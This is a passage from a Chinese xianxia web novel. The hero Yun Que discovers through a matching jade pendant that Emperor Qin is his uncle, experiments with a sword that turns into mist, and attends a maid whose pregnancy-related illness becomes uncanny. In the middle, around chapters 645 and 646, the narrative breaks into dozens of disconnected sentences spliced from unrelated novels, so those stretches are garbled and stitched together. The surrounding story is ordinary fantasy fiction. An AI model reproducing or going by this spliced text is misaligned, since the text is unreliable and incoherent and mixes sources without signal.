这种人,秦皇见过,就是他赢開自己啊! 要不然当年岂能利用星辰殿之手,清除了敌对势力,以绝对的实力登基称帝,成为大秦之主呢。 只是这份便宜的代价,沉重得连秦皇都无法承受。 秦皇与云缺陪着太后吃了顿晚饭,准备就此离开。 老太后没有任何线索,查不出云缺这份血脉的由来。 秦皇的眉头始终微锁,云缺也有些失望。 就太后这身子骨,估计生不出其他儿子了,不应该是自己血脉的来源,那么只剩下一个人。 秦皇的爹,四十年前就不知所踪的太上皇。 老家伙挺会逃命的,跑哪儿去了呢…… 云缺正要往外走,忽然脚步一顿。 想起了刚来给太后请安的时候,太后呢喃出的万丰二字。 万丰,应该就是秦皇生父的名字。 肯定姓赢,不会有错。 赢万丰…… 云缺此时脑子里如同炸起道惊雷。 赢万丰这名字,自己没听过,但是有个名字极其类似。 远在大唐的老驸马顺王,自己的外公,白万丰! 离开大唐的时候,外公说出个隐秘,他并非唐人,而是来自大秦,白姓是大唐先皇所赐。 白万丰,赢万丰,会不会是同一个人? “祖母太后,孙儿这里有一份小小礼物,送给您老人家。” 云缺说着从储物袋的角落里翻出半块玉佩。 原本是龙凤呈祥的图案,只有一半,刻着孤零零一条飞龙。 老太后笑着说好,接过来仔细看了眼,神色随之骤变,整个人都开始颤抖起来! 秦皇发现不对劲,急忙搀扶住太后。 “母后,莫非见过此物。”秦皇皱眉道。 “何止见过,何止见过……”老太后哆哆嗦嗦从怀里取出半块玉佩,其上刻着一条凤凰。 当两块碎玉合并在一起,组成了一幅完整的龙凤呈祥,严丝合缝,纹丝不差! 老太后颤抖着声音道: “孙儿,这玉佩,你从何处得来,万丰他、他人呢,可还活在世间!” 云缺彻底明悟。 随着玉佩完整的合在一起,一切谜团迎刃而解。 大唐顺王白万丰,就是当年九龙夺嫡混乱之际,逃出了大秦的那位皇子! 后来隐姓埋名,兜兜转转来到大唐,娶了长公主,改为白姓。 顺王白万丰,就是秦皇赢開的亲爹! 云缺的目光也变得呆滞起来,这层关系,确实有点离谱,但又合情合理。 白万丰既然能娶到大唐长公主,必定有过人之处,文采学识,风度翩翩,因为人家本来就是大秦皇子。 当初顺王讲述自己在大秦有个女人的时候,云缺根本没多想,谁知道顺王不仅在大秦有个女人,还有个皇帝儿子呢! 如此算来,秦皇赢開,就是云缺的大舅! 而且这个大舅是亲的,与自己的母亲是同父异母的兄妹,不像唐皇,属于表舅。 难怪能溶血呢,原来真是亲戚! 云缺此时哭笑不得, 他怎么也没想到,当初一语成谶,与牧青瑶胡乱吹嘘的时候说过自己还有个一品修为的大舅呢。 当时云缺与牧青瑶谁都没信,云缺不过随口胡诌而已。 谁能想到,曾经吹过最大的牛皮,居然实现了! 秦皇也呆在原地,脑子里一片空白。 生父的下落,他寻找了几十年,没想到线索居然在云缺手里。 见老太后情绪激动,云缺没将玉佩的真相告知,怕老太太得知顺王成了大唐驸马再一口气上不来,直接归西。 于是扯了个慌,说是在大唐一家玉器店以高价买到的,卖家几天前押在店里,算算时间,卖玉之人肯定还活着。 老太后慢慢恢复过来,焦急的让秦皇帮忙去寻找玉佩的主人。 秦皇满口答应下来,这才安抚住老人。 等秦皇与云缺回到御书房,气氛变得诡异起来。 秦皇目光呆滞的盯着云缺,云缺翻着白眼瞪着秦皇,大眼看小眼,互相瞪了老半天。 “你是,朕的外甥?”秦皇当先开口。 “不然呢!我总不会是陛下的儿子吧!”云缺怒冲冲的道。 “你刚才对太后没说实话。”秦皇道。 “当然没说实话,我怕太后听到真相被气死!我都快气死了!”云缺气哄哄的道。 “他,身在何处。”秦皇沉声道。 “在大唐当驸马享福呢!”云缺忍无可忍,指着秦皇的鼻子吼道:“你老子整天养花遛狗勾栏听曲,养得满面红光肥粗二胖,不抽他血抽我血!抽得我现在还头晕目眩呢!” 如此大逆不道的指着皇帝开骂,云缺属实气得不轻。 亲爹在大唐逍遥,我成了替罪羔羊,血都快被放干了! 苍天呐!我是做了什么孽呀! 秦皇倒是没生气,缓缓颔首道: “难怪,你的血脉并不精纯,十多斤只能提炼出半斤可用,原来是外甥,血有点杂。” 云缺发誓, 要不是对面这家伙是一品,哪怕二品,自己都动手了。 都说造化弄人,到云缺这里是造化玩人呐! 还是往死里玩的那种。 早知道自己外公是秦皇的亲爹,去大唐取血呀,亲生父子,血脉最纯,估计都不用半斤,弄来几两秦皇就有救。 何必抽了我十多斤…… 到最后还被人埋怨血有点杂,简直气死个人。 冷静下来之后,屋子里又是一阵长久的沉默。 云缺与秦皇的心情都十分复杂。 云缺在心里抱怨没早点见到太后,秦皇则感叹着命运的匪夷所思。 少年城一战,与辰龙斗得几番生死,谁成想星辰殿的辰龙,居然是秦皇自己的妹夫。 而秦皇的亲生父亲,居然成了大唐驸马。 秦皇苦涩的摇了摇头,道: “既然他活得很好,朕便放心了。” “陛下不准备去大唐认父?找到顺王问一问当年为何抛妻弃子。”云缺翻着白眼道。 “有缘自会相见,随缘便是。”秦皇此言一出,说明他不准备特意去找顺王了。 “行,爹不找了,那妹妹,陛下得找吧!” 云缺又将母亲的画像拿出来,几乎贴在秦皇脸上质问道:“我娘被困在天澜宝境二重,随时都有生命危险,画上的是陛下的亲妹妹没错吧!陛下不能见死不救吧!” 一番喝问,秦皇听得眼角直跳。 云缺算痛快了。 我娘被困在宝境空间,原本只有我自己着急,得自己想办法。 现在好了,你妹子也困在宝境空间里呢,我看你这大秦之主管不管! 秦皇抬手接下画像,凝目端详了起来。 四十余年,兄妹之间从未见过面,秦皇一时间感慨不已。 云缺说得没错,他与白孤晴,是同父异母的亲兄妹,流淌着同样的血脉。 岂能不救。 “宝境空间不到开启之日,无人能进入其中,半年之后,无论任何代价,朕也会帮你救她出来。” 有了秦皇的保证,云缺松了口气。 还好,秦皇不是那种六亲不认的冷血帝王。 看着冷酷无情,实则对亲人极其看重,要不然怎么会留着三位皇子到现在。 随后秦皇仔细问了问顺王的经历,云缺这次没说谎,全盘托出。 既然是大舅,没什么可隐瞒的了。 说完了顺王的经历后,云缺忽然觉得有些好笑。 顺王成了驸马,唐皇是自己表舅,那么秦皇与唐皇之间,也算亲戚了,以后大秦和大唐到底继续敌视,还是联手成为一家人,倒是个有趣的期待。 就看秦皇如何应对了。 屋子里的气氛缓和了许多,但充满尴尬。 舅舅扫了眼外甥,外甥瞄了眼舅舅,都不知说什么好。 “那个……皇帝舅舅,咱们也是实在亲戚了,少年城的人,该让我带走了吧。” 云缺说完自己都觉得起一身鸡皮疙瘩。 皇帝舅舅这词儿,听起来这么别扭呢,好像唱曲儿里的小花旦,拿腔作调的喊着皇帝哥哥。 不仅云缺,秦皇也起了一身鸡皮疙瘩。 “叫皇舅即可。” 秦皇说罢沉吟了稍许,道:“少年城的事,稍后再议,邵武国背后的九夷人远非你想象的那么简单,九夷城主不仅是生肖高手之一,也是十二生肖中最为恶毒的一个。” “比辰龙还恶毒?”云缺道。 “朕知道你恨辰龙,但九夷城主与辰龙不同,他们不是同类人,或者说,申猴九笤原根本不是人,是邪恶的异类。”秦皇提及申猴的时候,明显带着极重的恨意。 “原来九夷城主是申猴,他到底有何奇特之处,皇舅快将生肖高手的隐秘告知外甥,咱们好联手对付星辰殿。”云缺迫不及待的催促道。 对于星辰殿的了解越多,才能知己知彼,星辰殿是云缺最大的敌人,也是秦皇最大的敌人,更是大唐乃至大晋的敌人。 云缺想要抗衡星辰殿,太过艰难,若能联合大秦与大唐这两处云州之上的庞然大物,那么铲除星辰殿的机会将大增。 本以为秦皇会如实相告,不料秦皇岔开了话题。 “星辰殿之事,先不着急,朕只想知道……” 秦皇凝视着云缺,神色中带着一股疑惑之色,沉声道:“你为何能与朕产生共鸣,居然能看到朕儿时的回忆画面。” 第645章 走我的路让我无路可走? 秦皇儿时的经历,在少年城一战中,云缺亲眼目睹。 那种奇异的共鸣,云缺始终无法理解。 血脉关联? 不大可能,亲生父子之间也不会出现如此奇异的共鸣。 松江城的九拐十八阵林语梦用了一天一夜时间才破完,不过收获也是可喜的,看看魔三秋等人咧开的大嘴就能看出来,他们真的很满意。 林语梦看得有些恶心,这些人真够恐怖的,她做过那么多手术,也没有这些人的手段残忍,林语梦有些看不下去了,连忙收回了脑袋。 谁知,我刚在昆仑仙岛落定,却被王母娘娘知道了,便把我召到瑶池圣地。 猴子一下不敢再说话了,他对苏楠是最怕的,因为苏楠说到做到,真惹了苏楠,就被苏楠真扔到太平洋也不是个事。 这地道狭长,而且是逐渐倾斜往下,不知有多远。地道一侧的洞壁上每隔一段距离有一盏长明灯。虽然火光并不十分明亮,但也足以让两人可以看清楚脚下道路的情况。 东王公原本是指上古时期统治东方的君主概称,东王公居东蓬莱仙岛,东方属木,所以又称东木公。 合久必分,分久必合。数十亿年的时间里,地球上发生过很多次板块漂移,也出现过很多次形状各不相同的整体陆地。 “还是我去趟药店吧,正好我也要过去一趟。”孟凡说,他要去找多吉帕兰,看到刚才那一幕,他才知道这个手串有多真贵。怎么说,都要好好谢谢人家吧。 刀术练到极致,可以人刀合一,而唐风的武功层次,显然已经超越了这种境界。 不过按照高丽的规矩,他们家只有继承了爵位的长子长孙才能姓王,因为祖宗的荫庇,这些改姓王的后代长大后就可以入朝为官,而其他庶出的子孙却没有这些厚待。 等到一切结束以后,施暴者因为法不责众不予惩罚,枢机主教的想法很聪明,他可以就利用法律漏洞为教徒开拓,但是被害者却无法求助,这对于郝仁的理念来说是万万不能的。 但我觉得不是,因为照片的还原度很高,看起来很自然,看不出拼接的痕迹。 寻踪符以古溪自身的意念之力为能量消耗,并不需要灵力灵气之类的存在。 云阳的拳头砸在钢镚脖子上,仅仅让他的脑袋向侧方甩开,无法给他造成任何伤害。 惊呼声不断响起,显然张天师这石破天惊的话,把大家炸的里嫩外焦。 所以即使有这种瓜葛的商家,大多数也会巧妙的让自己周旋于朝廷各个势力之间,不会轻易去得罪人,或者明面上和朝廷或者军阀扯上关系。 五和她们担心的事情根本不会发生,就算是最坏的结果,也不过是对方以绝对的人数优势来形成以多打少的局面罢了。 日后的香港社团大佬的谈判,恐怕真的会这样,咱们已经不去管什么那种粉了,咱们真正关注的还是奶粉。 他无法评判怎么做才是对的,更无法改变这个时代人们的道德准则,只能从物质上尽力满足她们,让她们衣食无忧,杨怀仁能做的,也只有这么多。 这个不知名的玩意儿,在前方突出大概厘米,5米长,宽5米,全身采用金属内置,外壳由网状高能软胶制作而成。 第646章 儿子去哪了 听闻云缺所问,秦皇的神色变得落寞下来,缓缓摇头。 “多年前,朕曾经问过她一次,她说,孩子死了。” 唯一的后代死掉,对一代帝王来说,绝对是一场沉重的打击。 不孝有三无后为大,何况是大秦之主。 对游牧部族而言,这样的气候绝非什么好事,然而像阿卡杜拉这样的羌胡贵人,却丝毫不为所动。 装备上盾和匕首的老猫撤往一边后,迅速朝甬道那边过去,而夜王的则在潜行模式下缓缓移动过来。 不过秦轲也知道,以此时这一块打神石的力量,即便是真的找到了其他的碎片,也只有被吞噬的份。 “好吧,你们从那条街上往回走,我去十字路口接你们。”尼克没多说什么,只是说出了汇合地点。 知夏拉着一脸痴呆相的寻易乘上青鸾,青鸾随即挥展双翅,周身泛出淡淡的青色光辉,眨眼间炎冰的身影就被甩出了视野。 唐宗明这才点了点头,放下心来,林风是个从来不说谎的人,这点唐宗明可是知道的。 吐蕃使者脸上大多是一副不以为然的表情,根本不相信李斌能说出什么新花样来,一致认为这不过是为面子,死犟到底的言论罢了。 “尊师名讳是什么?”绍绫仙子不想再独自忍受死前的恐惧,没话找话的问。 那是个身披素白袈裟的老僧,然而那件袈裟有大半都化成了被大火焚烧后的余烬。随着他一步步走下山来,被烧毁的袈裟就化成了一片片黑蝶,随风舞动。 当然,白若竹的出现也给了她勇气,没有娘家人撑腰,她想和离都难。 听着更鼓敲了三下,云七夕终于在床上躺不住了,下了床,吹熄了蜡烛,蹑手蹑脚地来到了门边,轻轻地将门打开一个缝隙。 身后背负着一个定时核地雷,爆炸威力不大。 爆炸后产生的电磁辐射与核辐射相当高,这也是对付主控者的关键武器。 司君昊看看锅里的可乐鸡翅和排骨,算计着时间炒了两个青菜,端着菜转过身,才发现艾慕还站在门口。 眼见哭得梨花带雨的马迪丽以及周围鸣不平的骨干们,柏毅的心中只觉得暖洋洋的,但与此同时也感到异常头疼,他之所以趁着大半夜与武云哲完成项目组交接,并离开项目组,说到底也是不希望这些朝夕处的骨干们知道。 当“暗器”停滞在魏仁武的手上,岳鸣才看清楚这原来是一张照片。 “喵,平,为什么咱们刚才要浪费那么大一个可以飞的大家伙呢?”野猫想起问题就问,也算是她的优点,只是很多时候这些问题太幼稚了。 “来,让我看看你到底有多烂,虽然我不知道你之前有多烂,但我保证,你待会一定会是个烂人。”大胡子华人向比尔勾勾手指,双手攥起拳头在胸前对撞一下,叫好声马上震天般响起。 “左边一点。”为了停止这种折磨,他再次当起了指挥,只是一开口,声音都有些变了。 他从没有认真地看过她,只知道她长得不差,性格也很温柔,为他付出不少。此时认真看她,才发现,她也同样瘦弱惹怜。 似是报复,他恶作剧的在她脖颈之间留下一记深吻,最后才压抑着急促的呼吸,将她搂入怀中。 第647章 杀一品呐,想想都刺激 “叛徒,就该死无全尸,你说对吧老伙计。” 城墙外的金龙顶端,蹲着一道身形高大的紫袍身影,自语般说道:“时辰到了,该动手喽,杀一品呐,想想都刺激嘿嘿,你说,一品武夫嚼起来会是甜味儿呢,还是咸味儿呢。” 伫立在一旁的另一名紫袍人声音淡漠的道:“也许会咯牙,希望你牙口够好。” “放心,我牙口好得很!天龙城今晚将成为死域,嘿嘿,二十年之期已到,大秦,也该亡喽。” 身形高大的紫袍人站了起来,现出张诡异的面孔,硕大的鼻子,一脸白色斑点,眼窝深陷,眼睛是重瞳,宛如恶鬼。 此人仰头朝天,张开大嘴,无数条细密的红线从其口中涌出,无声无息的散落到城中各处。 另一名紫袍人则伸展双臂,从其指尖涌动出大量雾气,迅速弥漫开来。 夜已深,云遮月。 天龙城被一场大雾笼罩。 …… 云缺离开皇宫的时候,已经快半夜了。 宓先生的过往,云缺没打听到,因为秦皇也所知不多,只知道是宓荷曾经叛出天一道宗,是道门叛逆。 至于宓荷与道宗有何纠葛,没人知道。 攀谈了良久,云缺看得出秦皇的疲态,于是识趣的告辞离开。 血缘关系已经真相大白,既然是亲舅舅,那少年城的事自然没什么问题了。 云缺心情很复杂,既有多了位亲人的喜悦,也有少了个父亲的悲伤。 自从少年城一战,在云缺心里,自己的生父,已经死了。 他与云长吉,再无任何关联,再见面只剩生死相搏,再无父子之情。 “小时候以为我是孤儿,结果长大了才知道,家里这么多亲戚,唉,只有梅老六才是个没爹的野种。” 云缺走在街头,心中满是感慨。 其实小时候也不算真正的孤儿,至少云缺有七叔,梅钱有个神秘老爷爷。 “梅老六都有个护心镜,我也得弄面镜子,地镜不错,过两天问问皇舅能不能借来用用。” 想起地镜,云缺心头火热起来。 离开皇宫之前,云缺询问了一番地镜功效,得知那异宝居然能远距离传送,万里之地顷刻就到。 传送阵的功效,其实没什么稀奇,真正让云缺震惊的,是地镜能携带上千人一同传送! 若是灵气足够,地镜甚至能一次挪移万人! 这种能力,放在战场上绝对有扭转战局的奇效。 试想如果能在极远的距离,将万名铁浮屠直接传送到攻打的城池之内,即可将敌人的老家彻底重创甚至完全摧毁。 “偷家神器啊!” 云缺不由得赞叹起来。 没高兴多久,云缺脸色一苦。 估计自己用不成地镜的挪移效果,那玩意是道门至宝,需要道家灵气,武夫可没有灵气,基本用不成。 难怪秦皇一直将地镜摆在家里,即便前往少年城也是靠着气机飞行。 一品武夫,一样难以催动道门至宝。 云缺想起决云剑,将其从储物袋里拿了出来,趁着旁边没人,挥斩了几下。 确实是好剑。 出剑之际有暗淡的云雾浮现,但那是宝刃本身的气息,并非云缺所催动。 “有灵气就好了,武夫用法宝太吃亏啊。” 云缺叹了口气。 决云剑的真正威能,武夫是难以完全发挥的,毕竟法宝之流,均需要灵气催动。 以云缺估计,自己就算学会太尉的剑法,充其量也就能发挥出决云剑的三成威能,或许还不到。 这也是没办法的事。 如果武夫能完全催动法宝,那其他派系的修行者都不用活了,没人是武夫的对手。 有利既有弊,云缺也无可奈何。 “道门怎么修炼来着,上次在道山殿一直睡觉来着,没怎么听呀……” 正绞尽脑汁回想道门修炼的顺序,云缺忽然眼前一亮,道:“修什么道门,我有文气呀!” 云缺忘了自己的另一个身份。 九品小儒修! 儒家文气,一样可以驾驭法宝,与灵气有着相同之处。 运转儒道修为,云缺催动出九品儒修所能动用的最大文气,将其灌注于决云剑中。 下一刻,决云剑的外表发生了变化,竟碎裂开来,幻化成一道云雾! 云雾一尺多长,十分稀薄,不仔细看很难发现,尤其在夜晚几乎可以被外人忽视。 云缺试着以文气驾驭。 这道云雾开始围着云缺转圈,时而飞上头顶,时而遁入地面,就像一条驯服的灵蛇,随着云缺的意念而动。 云缺惊喜不已。 云雾状态,是决云剑的另一种形态。 可以藏身在任何位置,也可隐在自身衣物之内,无需以长剑状态存在。 这种幻化法宝的能力,是武夫所不具备的。 也是其他派系修行者的拿手好戏。 自从云缺拥有了儒家修为之后,他无需在羡慕旁人,自己就能做到! 以云缺的天资,很快掌握了幻化之法。 由于九品儒修的力量太过弱小,只能激发决云剑的幻化能力,难以动用其威能,但对于云缺来说已经很满足了。 云缺还发现了一个决云剑的特殊能力。 只要自己凝神驾驭法宝,可以将决云剑当做眼睛,看到云雾所经之处的环境。 站在街边,云缺闭上眼试了试。 还算清晰, 大致能看清决云剑附近的一切,就是无法离开自己太远,超过十丈就会失去联系。 云缺知道这是境界太低所致,随着儒家修为提升,无论控制决云剑的距离还是威能,都会相对提升。 旁边是一家青楼,云缺一时间玩心大起,控制决云剑飞到楼上,堂而皇之的欣赏了一番花魁们出浴的美景。 看了一会儿,肚子饿了。 正想收回决云剑,居然看到一个熟人。 一间富丽堂皇的包间内,巡城将军程药金正在埋头苦干,一副不辞辛劳的欠揍模样。 最让云缺恼火的是,这家伙居然找了两个! 云缺气不打一处来。 这奸细当的,真是醉生梦死啊,唐皇估计都没程药金潇洒。 控制云雾挑起桌上的茶壶,一壶凉茶一点没浪费,全浇在程药金脑袋上。 屋子里惊呼大起。 哐当一声,窗户被推开。 程药金探头大骂:“哪个王八蛋敢戏耍本将军!有种的别跑!” 骂完之后,程药金看到了楼下街边,正抱着膀子朝他冷笑的身影。 程药金顿时浑身一哆嗦。 一边关窗户一边大声嘀咕:“好大的雾哇!怎么啥都看不见呢!” 哐当,窗子关好。 程药金转身开溜,也顾不得什么温柔乡了,账都没结,溜之大吉。 “你个孙子,就知道自己享福,等明天的,我替唐皇扣你工钱!” 骂了一句之后,云缺收起决云剑。 先去九儒楼吃了个饱,再去对面的浴堂泡了个澡,这才舒坦许多。 躺在澡堂里,云缺闭目养神,想着心事。 离开皇宫的时候,云缺看到了秦皇欲言又止的神态。 云缺知道秦皇想问什么,关于巫神。 云缺不知该如何解释这件事。 巫神被镇压在文殿,确实出不来了,但文殿也失去了用处。 虽然危机消失,云缺也少了一份强大的助力。 而且文殿能存在多久,也是个问题。 一旦文殿的气息变弱,那么巫神就有可能再次出世,到时候直接会出现在云缺自己的识海空间。 想到这里,不由得危机感顿起。 靠谁都不行,唯有自己强大,才是真正的解决之道。 修为…… 云缺捏起双拳。 如今已是四品,下一步,便是冲击三品归真! 云缺很清楚自己能冲进四品,除了运气之外,更重要的是自己从小斩妖打下的扎实基础,如此才能在生死恶战中抓住进阶的契机,一举冲进四品破军。 但是四品之上的境界,将极其艰难。 九个品阶,分为下中上三个阶段,四品属于中阶的最后一个境界,上三品与中阶之间的鸿沟,远非五品到四品那么容易,将艰难千百倍。 武夫一道,靠着勤奋与天赋,达到中阶不难,甚至冲进破军者比比皆是。 但是三品归真,极其稀少。 云缺知道想要冲进上三品,靠着勤奋与天赋基本没什么优势了,还需要无数天材地宝,甚至天大的机缘。 云缺这边泡着澡,肩头与脚上多出四只粗糙的大手。 “王爷累着了,咱们给王爷松松筋骨。” “我觉得王爷都瘦了,少年城一战肯定消耗极大。” “会不会刚成亲也有消耗?” “放屁呢你,咱们王爷日日雄风!区区公主岂能算得上消耗?” 常威和瞎子两人,一个捏肩,一个揉脚,一边拍马屁一边献殷勤。 给云缺捏得龇牙咧嘴。 这俩家伙的大手,全是茧子,粗糙得很,捏起来这个难受。 “行了,你们俩最近准备一下,咱们快回家了。”云缺道。 “真的!太好了!天龙城虽然不错,还是比不得天祈城啊,我就喜欢北街的包子铺,大秦的包子也好吃,总觉得少了点什么味道。”常威唏嘘道。 “家乡味,肯定是家乡味!大当家一说我也馋了。”瞎子在旁边连连点头。 “家乡味……”云缺仰着头,呢喃道。 “王爷想吃什么家乡特产,咱们回去吃个够!”瞎子道。 “王爷什么好吃的没吃过!王爷是在担心大晋江山!哪像咱们两个没心没肺。”常威道。 哗啦啦,水声响动。 云缺走出浴池,披上衣服。 “江山关我屁事,我想媳妇了……” 第648章 四大皆空之人 想吃美食,大秦也能找到。 但是想媳妇,只能回大晋。 分开的这大半年,云缺的心里始终惦记着牧青瑶。 闹剧般的大秦驸马,自此告一段落,既然宁玉公主有了木灵之心,云缺便没打算再回公主府。 红尘这张网的可怕,云缺早已领教过,能避则避,方为君子之道。 实在避不开,那也没办法,大不了多个妾氏,好歹咱也是燕皇呀,总不能就一位皇后没有宾妃不是。 后宫那么大,空荡荡多冷清。 反正排号儿的还有柳真真呢,商暮也不错,尹千雪也极美,朱静姝不能浪费了,国师更是极品,最好把穹音的神魂也找回来,还有穹舞那惊天动地的完美身材…… 常威和瞎子瞄着云缺,心里直犯嘀咕。 王爷这是饿了吧,怎么一个劲儿流口水呢…… “鸿影呢。” 云缺问了句。 “后院呢,跟着吴命在习武。” “那小子可真勤奋,能练上一整天!半夜都不停,铁人一样!” 常威和瞎子连连咂舌,对鸿影的习武状态极为佩服。 云缺来到后院,见到了演练武道的小舅子。 拳风霍霍,精神奕奕,云缺见到都不由得想夸一句闻鸡起舞少年郎。 “师兄!” 鸿影收了招式,跑过来兴奋道:“我觉得自己又有了长进!吴命大哥教我的武道与师父有些不同,等我融会贯通,修为一定能再进一层!” “有这股冲劲儿,你将来的修为低不了就是了。”云缺笑着拍了拍鸿影的肩膀。 吴命能传授鸿影招式,云缺有些感动。 哪怕没有了修为,人家也曾经是破军强者,这份修炼经验绝对是难得的宝藏。 只是云缺对吴命的状态有些意外。 吴命盘膝坐在旁边,如老僧入定,整个人仿佛没有气息一般,很容易被外人忽视,觉得那只是一块石头或者一棵老树。 这种状态,绝不该出现在没有修为的凡人身上。 见云缺到了,吴命起身,拱手见礼。 “见过王爷。” “吴兄在这里住得可还习惯。” “挺好的,有吃有喝有书看,比起流落街头强了太多。” “吴兄能指点我这个小师弟,我替鸿影谢过。” “王爷无需客气,我教不了他什么,只能纸上谈兵,讲些经验而已。” “经验才是最值钱的,吴兄安心住在这边即可,过阵子我可能要离开一段时间,你帮我看好浴堂。” “小人遵命。” “吴兄,你是不是又有修为了?”云缺奇怪的打量着眼前这位曾经的破军。 “没有,我最近在看佛门功法。”吴命如实道。 “看功法?不看心法?”云缺诧异道:“佛门以心法为主,功法为辅,只看功法没用吧,心法才能拥有修为。” “佛曰四大皆空,我本是四大皆空之人,何必再看皆空之道。”吴命笑了笑,道:“看些功法消磨时间,佛门功法其实与武道异曲同工,王爷若有闲暇,不妨也参悟一二,或许会有收获。” 云缺点头说了声好,总觉得对方什么地方好像不一样了。 最初遇到的吴命,是心如死灰的卑微乞丐,如今的吴命,仿佛一位参透了佛门典籍的高僧。 “师兄我饿了!有没有吃的!” 鸿影在旁边揉着肚子嚷嚷着。 云缺笑着吩咐常威和瞎子去九儒楼要来酒菜,几人就在浴堂院子里围坐,举杯痛饮。 浴堂里尚未雇人,常威怕忙不过来,特意去旁边书楼把春梅喊过来帮忙。 春梅这阵子始终住在书楼,有吃有喝,本该修养得不错,可脸色越发苍白,显得整个人比没来之前还要虚弱。 “是不是住不惯这里?”云缺问了句。 “没有,住得惯,可能最近染了风寒,身子不太舒服。” 春梅慌忙说道,生怕云缺将她撵走,到时候她无依无靠,只能自生自灭了。 “明儿让常威带你瞧瞧郎中,开几副养身子的方子。”云缺道。 “王爷放心!交给我了,明天一大早我就带春梅去药铺!”常威急匆匆说道,时不时还瞄着春梅。 那眼神儿虽然恶心了点,但云缺看得出来,常威这是看上人家了。 春梅已经怀胎三月,小腹微微隆起,模样倒是不错,否则三皇子也不会看得上眼。 看了眼春梅的肚子,云缺苦笑了一声。 本该是皇子的私生子,这下连三皇子都是野种,赢人志的后代,注定与大秦皇族无缘。 或许跟了常威,算是比较不错的结局。 云缺让春梅别忙活了,跟着一起吃顿宵夜。 几人谈笑风生,谈起了少年城,讲起了大晋,说起了天祈城。 说着笑着,思乡之情却更浓了。 桌上有盘菜,叫辣子鸡,酥软香辣,正好下酒。 春梅吃了一口,被辣得眼泪直流,急忙喝了口酒想要压一压。 这口酒,喝坏了。 春梅捂着肚子,疼得满头冷汗。 “怎么了这是?动胎气了?”常威急忙询问。 “九儒楼的酒也不烈呀,喝一口不至于动胎气吧?”瞎子在旁边道。 云缺皱了皱眉。 觉得有些意外。 的确如瞎子所言,九儒楼的都是好酒,并不烈,即便春梅怀有身孕,喝一两口也不至于伤到胎儿。 此时春梅疼得卷缩在地,已经说不出话来。 “春梅你到底怎么了!别怕!我这就去找郎中!” 常威慌慌张张跑出大门。 瞎子和吴命将春梅搀扶回了书楼,郎中没来之前,谁也无法断定是不是动胎气,胡乱医治反而不妥,几个大男人束手无策。 云缺始终紧锁眉峰。 春梅卷缩在床榻上,不断的翻来覆去,疼得说不出话来,冷汗湿透了衣服。 这种状态,明显撑不住多久,很容易暴毙于此。 云缺示意瞎子和吴命离开屋子,几人站在书楼院子里议论。 “莫非酒里有毒,你们可有异常的感觉。”云缺道。 “没事啊,我喝的最多,什么感觉也没有。”瞎子道。 “不是毒酒,否则我们不会安然无恙。”吴命道。 “菜里应该也没毒,我都吃了大半桌了,要是有毒早该毒发。”鸿影道。 云缺沉吟不语。 寻常毒物,云缺这副身体别说毒倒,几乎都感觉不到,所以才问问其他几人是否有中毒迹象。 既然酒菜没毒,春梅的症状就显得愈发古怪了。 云缺只能想到一个可能。 春梅肚子里仅有三个月的胎儿,怕是出现了意外。 或许已经成为死胎。 “你们先回浴堂,我在这等常威。” 云缺吩咐完,瞎子几人相继离开。 让几人离开,其实云缺主要为了支走鸿影这个孩子。 如果春梅肚子里已经是死胎,那么接下来的场面注定不会看好,也许要开膛破肚将死胎取出来,如此才能保住春梅一命,母子连心,否则很容易春梅也会丧命于此。 怀了孩子,本就是一件危险的事,太过脆弱的胎儿很容易发生意外。 这种事,云缺曾经在庸医馆见过很多。 若非七叔医术高明,不知多少孕妇死于非命。 “希望还有救……” 云缺站在空荡荡的书楼院子里,低语了一句,忽然鼻翼动了动。 云缺闻到了一种奇怪的味道,飘散在空气当中,随着夜风而来。 “药香?” 云缺又仔细闻了闻,的确是药香无疑。 只是气味极淡,正常人几乎闻不到。 因为有着血狸的嗅觉天赋,云缺才能闻到旁人难以察觉的气息。 抬头看了看。 乌云如铁瓦,一片片飘过夜空,一轮明月时隐时现,院子里忽明忽暗。 不知何时,天龙城起了大雾。 天地间一片朦朦胧胧。 远处的灯火变得模糊起来,有一种苍凉之感,如此深夜,适合独饮。 但云缺没那个心情。 药香若有若无,辨不清从何方向而来。 “有人熬药,还是有人在做药膳?” 云缺摇了摇头,不再多想。 也许是附近谁家做什么东西,用了上好的药材,毕竟这里是天龙城,有钱的人家比比皆是。 咚! 屋子里传来重物落地的声音,云缺一皱眉,转身走进屋子。 春梅从床上掉了下来。 脸被摔破,嘴角全是血,正卷缩在墙角,满脸痛苦。 云缺将其抱起来,重新放回床榻,问道: “今天你是否吃了可疑的东西?” 春梅已经疼得说不出话来,缓缓摇头。 云缺愈发觉得奇怪。 好端端的,怎么突然发病。 云缺之前曾经想过有人来下毒,或许是赢人志不想要这个孩子,转念一想又不太对。 赢人志那种花花公子,到处留情,不知有多少私生子,犯不着下此毒手。 最后云缺只能归结为春梅本身有隐疾,而怀胎,促使了隐疾发作,落到如今的下场。 既然常威看上人家了,总不能见死不救,云缺抓住春梅的手腕,开始把脉。 实在不行就先把胎儿取出来,保住一个是一个。 云缺对医道不算精通,但孕妇的脉象还是诊得出来的,这一搭脉,就是一愣。 不是孕脉! 从脉象来看,春梅根本没有身孕。 或者说,春梅肚子里的胎儿,已经死了! 让云缺感到疑惑的是,以春梅的脉象来看,绝非今天刚刚死胎,而是近期就没有过身孕! 如此诡异的情况,云缺从未遇见过。 死胎常见, 但凡死胎出现,其母必定被影响,轻则大病一场,重则因此丧命。 可春梅这几天始终好端端的,毫无影响,绝不是怀着死胎的模样。 到底怎么回事…… 云缺邹着眉,将右手放在春梅的肚子上,想要以气机确定一番胎儿是否有心跳。 对四品武夫来说,做到这一点轻而易举。 就当右手刚刚接触到春梅的肚子,云缺的浑身汗毛尽数立起! 第649章 先皇诈尸了 街上雾气很重,常威疯了一样奔跑在大雾中,急得满头大汗。 他看上春梅了。 他觉得春梅对他也有点意思。 要不然怎么平常给书楼送饭的时候,春梅总是娇滴滴的说一句谢谢常大哥。 常威不在乎春梅是否有身孕,他这种山匪出身,下场本该是死无全尸才对,没想到能混到今天的成就,在大晋有了将军的身份。 曾几何时,常威也会想念起过世的妻儿,那是他这辈子的执念,始终也无法原谅自己。 自从遇到云缺,跟着云缺四处奔波,常威居然渐渐有了一种归属感,仿佛他再次有了家人。 如今, 常威已经放下了从前,他想要重新开始。 娶个媳妇,生个娃儿,拥有一个完整的家。 咚咚咚! “开门!开门呐!急诊!我加钱!” 常威奋力砸着药铺的大门,眼睛通红。 砸了好半天,终于有人来开门,是个十多岁的小学徒,低着头在前面引路。 常威被带到药铺大堂。 